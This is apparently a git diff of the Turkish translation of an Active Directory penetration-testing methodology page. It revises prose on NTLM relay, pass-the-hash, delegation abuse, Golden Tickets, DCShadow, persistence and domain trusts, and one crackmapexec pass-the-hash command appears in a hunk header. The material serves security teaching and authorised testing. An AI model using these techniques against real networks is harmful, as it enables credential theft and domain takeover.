Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
 | 
			
		||||
Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
 | 
			
		||||
 | 
			
		||||
### Mevcut Oturum Biletleri
 | 
			
		||||
 | 
			
		||||
@ -132,7 +205,7 @@ Beklenmedik kaynaklara erişim izni veren **biletler** bulmanız çok **olasıl
 | 
			
		||||
```
 | 
			
		||||
### NTML Relay
 | 
			
		||||
 | 
			
		||||
Eğer aktif dizini sıralamayı başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirmeyi başarabilirsiniz.**
 | 
			
		||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirebilirsiniz.**
 | 
			
		||||
 | 
			
		||||
### **Bilgisayar Paylaşımlarında Kimlik Bilgilerini Arayın**
 | 
			
		||||
 | 
			
		||||
@ -142,7 +215,7 @@ Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde payl
 | 
			
		||||
 | 
			
		||||
### NTLM Kimlik Bilgilerini Çal
 | 
			
		||||
 | 
			
		||||
Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyalar bir şekilde erişildiğinde **sizinle NTML kimlik doğrulaması tetikleyecektir**, böylece **NTLM zorluğunu çalabilir** ve onu kırabilirsiniz:
 | 
			
		||||
Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyalar bir şekilde erişildiğinde, **sizinle NTML kimlik doğrulaması tetikleyecektir** böylece **NTLM zorluğunu çalabilir** ve onu kırabilirsiniz:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../ntlm/places-to-steal-ntlm-creds.md
 | 
			
		||||
@ -156,25 +229,25 @@ Bu güvenlik açığı, herhangi bir kimlik doğrulaması yapılmış kullanıc
 | 
			
		||||
printnightmare.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Aktif Dizin'de Yetki Yükseltme Özel Kimlik Bilgileri/Oturum ile
 | 
			
		||||
## Aktif Dizin'de Yetki Yükseltme ÖZEL yetkili kimlik bilgileri/oturum ile
 | 
			
		||||
 | 
			
		||||
**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel ayrıcalıklara/kimlik bilgilerine ihtiyacınız var.**
 | 
			
		||||
**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkiler/kimlik bilgileri gereklidir.**
 | 
			
		||||
 | 
			
		||||
### Hash çıkarımı
 | 
			
		||||
 | 
			
		||||
Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere bazı yerel yönetici hesaplarını **tehdit etmeyi başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak ayrıcalıkları yükseltme](../windows-local-privilege-escalation/).\
 | 
			
		||||
Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html) kullanarak **bazı yerel yönetici** hesaplarını **tehlikeye atmayı** başardınız.\
 | 
			
		||||
Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\
 | 
			
		||||
[**Hash'leri elde etmenin farklı yolları hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
 | 
			
		||||
 | 
			
		||||
### Hash'i Geç
 | 
			
		||||
 | 
			
		||||
**Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\
 | 
			
		||||
Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup **bu hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
 | 
			
		||||
Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup **o hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
 | 
			
		||||
[**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/index.html#pass-the-hash)
 | 
			
		||||
 | 
			
		||||
### Hash'i Aşma/Key'i Geç
 | 
			
		||||
### Hash'i Aş/ Anahtarı Geç
 | 
			
		||||
 | 
			
		||||
Bu saldırı, **kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, yaygın Pass The Hash NTLM protokolüne alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**.
 | 
			
		||||
Bu saldırı, **kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, NTLM protokolü üzerinden yaygın Pass The Hash'e alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
over-pass-the-hash-pass-the-key.md
 | 
			
		||||
@ -202,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 | 
			
		||||
### MSSQL Kötüye Kullanımı & Güvenilir Bağlantılar
 | 
			
		||||
 | 
			
		||||
Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay** **saldırısı** gerçekleştirmek için bunu kullanabilir.\
 | 
			
		||||
Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse ve kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\
 | 
			
		||||
Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse ve kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\
 | 
			
		||||
**Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -211,7 +284,7 @@ abusing-ad-mssql.md
 | 
			
		||||
 | 
			
		||||
### Sınırsız Delegasyon
 | 
			
		||||
 | 
			
		||||
Eğer [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının TGT'sini bellekten dökme yeteneğine sahip olursunuz.\
 | 
			
		||||
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının bellekten TGT'lerini dökme yeteneğine sahip olursunuz.\
 | 
			
		||||
Yani, eğer bir **Domain Admin bilgisayara giriş yaparsa**, onun TGT'sini dökebilir ve [Pass the Ticket](pass-the-ticket.md) kullanarak onu taklit edebilirsiniz.\
 | 
			
		||||
Sınırlı delegasyon sayesinde, bir Yazıcı Sunucusunu **otomatik olarak ele geçirebilirsiniz** (umarım bu bir DC olacaktır).
 | 
			
		||||
 | 
			
		||||
@ -221,8 +294,8 @@ unconstrained-delegation.md
 | 
			
		||||
 | 
			
		||||
### Sınırlı Delegasyon
 | 
			
		||||
 | 
			
		||||
Eğer bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için taklit edilmesine** olanak tanır.\
 | 
			
		||||
Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz.
 | 
			
		||||
Bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcıyı taklit ederek bir bilgisayardaki bazı hizmetlere erişim** sağlayabilir.\
 | 
			
		||||
Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişim sağlayabilirsiniz.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
constrained-delegation.md
 | 
			
		||||
@ -238,15 +311,15 @@ resource-based-constrained-delegation.md
 | 
			
		||||
 | 
			
		||||
### ACL'lerin Kötüye Kullanımı
 | 
			
		||||
 | 
			
		||||
Ele geçirilmiş bir kullanıcının, bazı alan nesneleri üzerinde **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir.
 | 
			
		||||
Ele geçirilmiş bir kullanıcının, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
acl-persistence-abuse/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Yazıcı Spooler Servisi Kötüye Kullanımı
 | 
			
		||||
### Yazıcı Spooler Hizmeti Kötüye Kullanımı
 | 
			
		||||
 | 
			
		||||
Alan içinde bir **Spool servisi dinliyorsa**, bu durum **yeni kimlik bilgileri edinmek** ve **yetkileri yükseltmek** için **kötüye kullanılabilir**.
 | 
			
		||||
Alan içinde bir **Spool hizmetinin dinlendiğini** keşfetmek, **yeni kimlik bilgileri edinmek** ve **yetkileri yükseltmek** için **kötüye kullanılabilir**.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
printers-spooler-service-abuse.md
 | 
			
		||||
@ -254,7 +327,7 @@ printers-spooler-service-abuse.md
 | 
			
		||||
 | 
			
		||||
### Üçüncü Taraf Oturumlarının Kötüye Kullanımı
 | 
			
		||||
 | 
			
		||||
Eğer **diğer kullanıcılar** **ele geçirilmiş** makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon enjekte etmek** mümkün olabilir.\
 | 
			
		||||
Eğer **diğer kullanıcılar** **ele geçirilmiş** makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon enjekte etmek** mümkündür.\
 | 
			
		||||
Genellikle kullanıcılar sisteme RDP aracılığıyla erişir, bu nedenle burada üçüncü taraf RDP oturumları üzerinde birkaç saldırı gerçekleştirme yöntemini bulabilirsiniz:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -289,7 +362,7 @@ ad-certificates/domain-escalation.md
 | 
			
		||||
 | 
			
		||||
### Alan Kimlik Bilgilerini Dökme
 | 
			
		||||
 | 
			
		||||
Bir kez **Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_.
 | 
			
		||||
**Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_.
 | 
			
		||||
 | 
			
		||||
[**DCSync saldırısı hakkında daha fazla bilgi burada bulunabilir**](dcsync.md).
 | 
			
		||||
 | 
			
		||||
@ -328,7 +401,7 @@ silver-ticket.md
 | 
			
		||||
 | 
			
		||||
### Altın Bilet
 | 
			
		||||
 | 
			
		||||
Bir **Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)** imzalamak için kullanıldığı için özeldir.
 | 
			
		||||
**Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir.
 | 
			
		||||
 | 
			
		||||
Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı).
 | 
			
		||||
 | 
			
		||||
@ -346,7 +419,7 @@ diamond-ticket.md
 | 
			
		||||
 | 
			
		||||
### **Sertifikalar Hesap Sürekliliği**
 | 
			
		||||
 | 
			
		||||
**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcının hesabında sürekliliği sağlamak için çok iyi bir yoldur (şifreyi değiştirse bile):
 | 
			
		||||
**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcı hesabında sürekliliği sağlamak için çok iyi bir yoldur (şifreyi değiştirse bile):
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ad-certificates/account-persistence.md
 | 
			
		||||
@ -354,7 +427,7 @@ ad-certificates/account-persistence.md
 | 
			
		||||
 | 
			
		||||
### **Sertifikalar Alan Sürekliliği**
 | 
			
		||||
 | 
			
		||||
**Sertifikaları kullanarak, alan içinde yüksek yetkilerle sürekliliği sağlamak da mümkündür:**
 | 
			
		||||
**Sertifikaları kullanarak, alan içinde yüksek yetkilerle de süreklilik sağlamak mümkündür:**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ad-certificates/domain-persistence.md
 | 
			
		||||
@ -368,7 +441,7 @@ Active Directory'deki **AdminSDHolder** nesnesi, **yetkili grupların** (Domain
 | 
			
		||||
 | 
			
		||||
### DSRM Kimlik Bilgileri
 | 
			
		||||
 | 
			
		||||
Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, yerel Yönetici hash'ini **mimikatz** kullanarak çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar.
 | 
			
		||||
Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, **mimikatz** kullanarak yerel Yönetici hash'ini çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
dsrm-credentials.md
 | 
			
		||||
@ -376,7 +449,7 @@ dsrm-credentials.md
 | 
			
		||||
 | 
			
		||||
### ACL Sürekliliği
 | 
			
		||||
 | 
			
		||||
Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının **gelecekte yetkileri yükseltmesine** olanak tanır.
 | 
			
		||||
Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının gelecekte **yetkileri yükseltmesine** olanak tanır.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
acl-persistence-abuse/
 | 
			
		||||
@ -384,7 +457,7 @@ acl-persistence-abuse/
 | 
			
		||||
 | 
			
		||||
### Güvenlik Tanımlayıcıları
 | 
			
		||||
 | 
			
		||||
**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde **sahip olduğu izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz.
 | 
			
		||||
**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde sahip olduğu **izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
security-descriptors.md
 | 
			
		||||
@ -409,8 +482,8 @@ custom-ssp.md
 | 
			
		||||
 | 
			
		||||
### DCShadow
 | 
			
		||||
 | 
			
		||||
AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **günlük bırakmadan** **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\
 | 
			
		||||
Yanlış veri kullanırsanız, oldukça kötü günlükler ortaya çıkacaktır.
 | 
			
		||||
AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\
 | 
			
		||||
Yanlış veri kullanırsanız, oldukça kötü loglar ortaya çıkacaktır.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
dcshadow.md
 | 
			
		||||
@ -418,7 +491,7 @@ dcshadow.md
 | 
			
		||||
 | 
			
		||||
### LAPS Sürekliliği
 | 
			
		||||
 | 
			
		||||
Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimizi tartıştık. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\
 | 
			
		||||
Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimiz hakkında konuştuk. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\
 | 
			
		||||
Kontrol edin:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -431,34 +504,34 @@ Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir al
 | 
			
		||||
 | 
			
		||||
### Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** içinde değiş tokuş eder ve saklarlar.
 | 
			
		||||
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar.
 | 
			
		||||
 | 
			
		||||
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istiyorsa, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladıktan sonra, kullanıcıya hizmete erişim izni veren bir TGS verir.
 | 
			
		||||
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladıktan sonra, kullanıcıya hizmete erişim izni veren bir TGS verir.
 | 
			
		||||
 | 
			
		||||
**Adımlar**:
 | 
			
		||||
 | 
			
		||||
1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller'ı (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır.
 | 
			
		||||
1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır.
 | 
			
		||||
2. DC1, istemci başarılı bir şekilde kimlik doğrulandıysa yeni bir TGT verir.
 | 
			
		||||
3. İstemci, **Domain 2**'deki kaynaklara erişmek için DC1'den bir **inter-realm TGT** talep eder.
 | 
			
		||||
4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni olarak paylaşılan bir **güven anahtarı** ile şifrelenmiştir.
 | 
			
		||||
3. İstemci, **Domain 2**'deki kaynaklara erişmek için gerekli olan **inter-realm TGT**'yi DC1'den talep eder.
 | 
			
		||||
4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni kapsamında paylaşılan bir **güven anahtarı** ile şifrelenmiştir.
 | 
			
		||||
5. İstemci, inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür.
 | 
			
		||||
6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir.
 | 
			
		||||
7. Son olarak, istemci bu TGS'yi sunucuya sunar; bu, sunucunun hesap hash'i ile şifrelenmiştir ve Domain 2'deki hizmete erişim sağlar.
 | 
			
		||||
 | 
			
		||||
### Farklı Güvenler
 | 
			
		||||
 | 
			
		||||
**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alandaki kaynaklara erişim sağlayabilirsiniz**.
 | 
			
		||||
**Bir güvenin 1 yönlü veya 2 yönlü** olabileceğini belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlayabilirsiniz.
 | 
			
		||||
 | 
			
		||||
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır.
 | 
			
		||||
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; **Alan B**'de ise bu bir **Giriş güveni** olacaktır.
 | 
			
		||||
 | 
			
		||||
**Farklı güvenen ilişkileri**
 | 
			
		||||
 | 
			
		||||
- **Anaç-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, bu, kimlik doğrulama taleplerinin ana ve çocuk arasında sorunsuz bir şekilde akabileceği anlamına gelir.
 | 
			
		||||
- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, kimlik doğrulama talepleri ana ve çocuk arasında sorunsuz bir şekilde akabilir.
 | 
			
		||||
- **Çapraz Bağlantı Güvenleri**: "Kısa yol güvenleri" olarak adlandırılan bu güvenler, referans süreçlerini hızlandırmak için çocuk alanları arasında kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır.
 | 
			
		||||
- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır.
 | 
			
		||||
- **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına ve iki yönlü geçişliliği sağlamalarına olanak tanır. Daha fazla bilgi [Microsoft'un kılavuzunda](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) bulunabilir.
 | 
			
		||||
- **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güvendir ve güvenlik önlemlerini artırmak için SID filtrelemesi uygular.
 | 
			
		||||
- **MIT Güvenleri**: Bu güvenler, Windows dışındaki, [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır.
 | 
			
		||||
- **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güven olup, güvenlik önlemlerini artırmak için SID filtrelemesi uygular.
 | 
			
		||||
- **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır.
 | 
			
		||||
 | 
			
		||||
#### **Güvenen ilişkilerdeki diğer farklılıklar**
 | 
			
		||||
 | 
			
		||||
@ -474,11 +547,11 @@ Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır.
 | 
			
		||||
 | 
			
		||||
Saldırganlar, başka bir alandaki kaynaklara erişim sağlamak için üç ana mekanizma kullanabilir:
 | 
			
		||||
 | 
			
		||||
- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki “Yöneticiler” grubu, onlara o makine üzerinde önemli kontrol sağlar.
 | 
			
		||||
- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki "Yönetici" grubu, onlara o makine üzerinde önemli kontrol sağlar.
 | 
			
		||||
- **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların üyeleri de olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır.
 | 
			
		||||
